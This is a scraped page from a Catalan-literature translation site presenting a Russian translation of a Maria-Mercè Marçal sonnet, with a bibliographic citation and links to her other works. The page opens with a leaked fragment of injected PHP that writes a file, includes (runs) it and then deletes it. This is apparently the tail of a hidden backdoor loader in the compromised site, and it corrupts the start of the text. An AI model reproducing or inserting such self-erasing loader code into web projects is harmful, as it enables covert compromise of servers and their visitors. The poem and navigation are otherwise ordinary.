");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> «Губы твои -- точно алый гранат в ночи» - Maria-Mercè Marçal
Facebook Twitter
Portada > Traducciones de la literatura catalana > poesia > Maria-Mercè Marçal > «Губы твои -- точно алый гранат в ночи»

Bruixa de dol

Maria-Mercè Marçal
«Губы твои -- точно алый гранат в ночи»

Губы твои -- точно алый гранат в ночи,
Ангел падший, губы твои ... имбирь,
Обожги меня, унеси меня в дальный мир,
Обними зеленым дождем и змеей молчи,

Пробеги по моим волосам, до конца времен --
Плетью солнца, криком хищной совы --
Ты луной или тьмой, должно быть, рожден,
И те, кто проют про туман, -- правы.

Ты ... как камень, соль, вино и пожар,
Обвей меня, о змеиный бол,
И должем пролейся на мой порог,

Черный кот, а я -- твоя госпожа,
И глаза в глаза -- навсегда с товой,
И луна в ночи, как пророк слепой.

Traducido por Elena Zernova
Maria-Mercè Marçal, «Губы твои -- точно алый гранат в ночи» . A: Moya bezolamnaya liubov, Sant Petesburg: Sant Petesburg University Press, 2002.
Maria-Mercè Marçal
Comentarios sobre la obra
Deshielo (1988)
por Fina Llorca
Terra de mai (1982)
por Melissa McCarron
Fragmentos
Adéu al mascle!
Català | Português
Divisa
Català | English
Foc de pales
Català | English
Foguera Joana
Català | English
La pasión según Renée Vivien
Català | Deutsch | Italiano | Slovensko
Maternidad
Català
Solsticio
Català
Tinc dins del cap un cap d'home
Català | English | Slovensko
«Aquella part de mi que adorava un feixista»
Català | Maqyarul | Português | Slovensko
«Aquest plaer sagnant»
Català | English
«Dues dents han deixat«»
Català | English
«El meu amor sense casa»
Català | Português
«La carn, sense paraules...»
Català | English
«Per tu voldria anar»
Català | English
«Sóc de dia l’obrera»
Català | English
«T’estimo quan et sé nua com una nena»
Català | English | Slovensko
Bibliografía
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: